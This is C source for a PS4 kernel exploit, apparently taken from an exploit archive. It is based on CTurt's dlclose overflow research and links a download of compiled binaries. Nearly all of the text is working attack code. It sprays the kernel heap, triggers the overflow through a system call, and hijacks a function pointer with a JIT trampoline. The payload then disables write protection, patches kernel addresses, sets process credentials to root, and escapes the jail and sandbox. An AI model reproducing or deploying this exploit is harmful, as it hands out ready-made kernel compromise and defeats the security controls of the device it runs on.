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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 | /* Code written based on info available here http://cturt.github.io/dlclose-overflow.html See attached LICENCE file Thanks to CTurt and qwertyoruiop - @kr105rlz Download: http://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/44206.zip */ #include "ps4.h" #define DEBUG_SOCKET #include "defines.h" static int sock; static void *dump; void payload(struct knote *kn) { struct thread *td; struct ucred *cred; // Get td pointer asm volatile("mov %0, %%gs:0" : "=r"(td)); // Enable UART output uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6; *securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0 // Print test message to the UART line printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n"); // Disable write protection uint64_t cr0 = readCr0(); writeCr0(cr0 & ~X86_CR0_WP); // sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe *(uint16_t *)0xFFFFFFFF82607C46 = 0x9090; *(uint16_t *)0xFFFFFFFF82607826 = 0x9090; *(char *)0xFFFFFFFF8332431A = 1; *(char *)0xFFFFFFFF83324338 = 1; // Restore write protection writeCr0(cr0); // Resolve creds cred = td->td_proc->p_ucred; // Escalate process to root cred->cr_uid = 0; cred->cr_ruid = 0; cred->cr_rgid = 0; cred->cr_groups[0] = 0; void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred // sceSblACMgrIsSystemUcred uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96); *sonyCred = 0xffffffffffffffff; // sceSblACMgrGetDeviceAccessType uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88); *sceProcType = 0x3801000000000013; // Max access // sceSblACMgrHasSceProcessCapability uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104); *sceProcCap = 0xffffffffffffffff; // Sce Process ((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true ((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check // Jailbreak ;) cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0 // Break out of the sandbox void *td_fdp = *(void **)(((char *)td->td_proc) + 72); uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24); uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32); uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920; *td_fdp_fd_rdir = *rootvnode; *td_fdp_fd_jdir = *rootvnode; } // Perform kernel allocation aligned to 0x800 bytes int kernelAllocation(size_t size, int fd) { SceKernelEqueue queue = 0; sceKernelCreateEqueue(&queue, "kexec"); sceKernelAddReadEvent(queue, fd, 0, NULL); return queue; } void kernelFree(int allocation) { close(allocation); } void *exploitThread(void *none) { printfsocket("[+] Entered exploitThread\n"); uint64_t bufferSize = 0x8000; uint64_t overflowSize = 0x8000; uint64_t copySize = bufferSize + overflowSize; // Round up to nearest multiple of PAGE_SIZE uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1); uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); munmap(mapping + mappingSize, PAGE_SIZE); uint8_t *buffer = mapping + mappingSize - copySize; int64_t count = (0x100000000 + bufferSize) / 4; // Create structures struct knote kn; struct filterops fo; struct knote **overflow = (struct knote **)(buffer + bufferSize); overflow[2] = &kn; kn.kn_fop = &fo; // Setup trampoline to gracefully return to the calling thread void *trampw = NULL; void *trampe = NULL; int executableHandle; int writableHandle; uint8_t trampolinecode[] = { 0x58, // pop rax 0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919 0x50, // push rax 0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe 0xFF, 0xE0 // jmp rax }; // Get Jit memory sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle); sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle); // Map r+w & r+e trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0); trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0); // Copy trampoline to allocated address memcpy(trampw, trampolinecode, sizeof(trampolinecode)); *(void **)(trampw + 14) = (void *)payload; // Call trampoline when overflown fo.f_detach = trampe; // Start the exploit int sockets[0x2000]; int allocation[50], m = 0, m2 = 0; int fd = (bufferSize - 0x800) / 8; printfsocket("[+] Creating %d sockets\n", fd); // Create sockets for(int i = 0; i < 0x2000; i++) { sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0); if(sockets[i] >= fd) { sockets[i + 1] = -1; break; } } // Spray the heap for(int i = 0; i < 50; i++) { allocation[i] = kernelAllocation(bufferSize, fd); printfsocket("[+] allocation = %llp\n", allocation[i]); } // Create hole for the system call's allocation m = kernelAllocation(bufferSize, fd); m2 = kernelAllocation(bufferSize, fd); kernelFree(m); // Perform the overflow int result = syscall(597, 1, mapping, &count); printfsocket("[+] Result: %d\n", result); // Execute the payload printfsocket("[+] Freeing m2\n"); kernelFree(m2); // Close sockets for(int i = 0; i < 0x2000; i++) { if(sockets[i] == -1) break; sceNetSocketClose(sockets[i]); } // Free allocations for(int i = 0; i < 50; i++) { kernelFree(allocation[i]); } // Free the mapping munmap(mapping, mappingSize); return NULL; } int _main(void) { ScePthread thread; initKernel(); initLibc(); initNetwork(); initJIT(); initPthread(); #ifdef DEBUG_SOCKET struct sockaddr_in server; server.sin_len = sizeof(server); server.sin_family = AF_INET; server.sin_addr.s_addr = IP(192, 168, 0, 4); server.sin_port = sceNetHtons(9023); memset(server.sin_zero, 0, sizeof(server.sin_zero)); sock = sceNetSocket("debug", AF_INET, SOCK_STREAM, 0); sceNetConnect(sock, (struct sockaddr *)&server, sizeof(server)); int flag = 1; sceNetSetsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&flag, sizeof(int)); dump = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); #endif printfsocket("[+] Starting...\n"); printfsocket("[+] UID = %d\n", getuid()); printfsocket("[+] GID = %d\n", getgid()); // Create exploit thread if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) { printfsocket("[-] pthread_create error\n"); return 0; } // Wait for thread to exit scePthreadJoin(thread, NULL); // At this point we should have root and jailbreak if(getuid() != 0) { printfsocket("[-] Kernel patch failed!\n"); sceNetSocketClose(sock); return 1; } printfsocket("[+] Kernel patch success!\n"); // Enable debug menu int (*sysctlbyname)(const char *name, void *oldp, size_t *oldlenp, const void *newp, size_t newlen) = NULL; RESOLVE(libKernelHandle, sysctlbyname); uint32_t enable; size_t size; enable = 1; size = sizeof(enable); sysctlbyname("machdep.rcmgr_utoken_store_mode", NULL, NULL, &enable, size); sysctlbyname("machdep.rcmgr_debug_menu", NULL, NULL, &enable, size); #ifdef DEBUG_SOCKET munmap(dump, PAGE_SIZE); #endif printfsocket("[+] bye\n"); sceNetSocketClose(sock); return 0; } |
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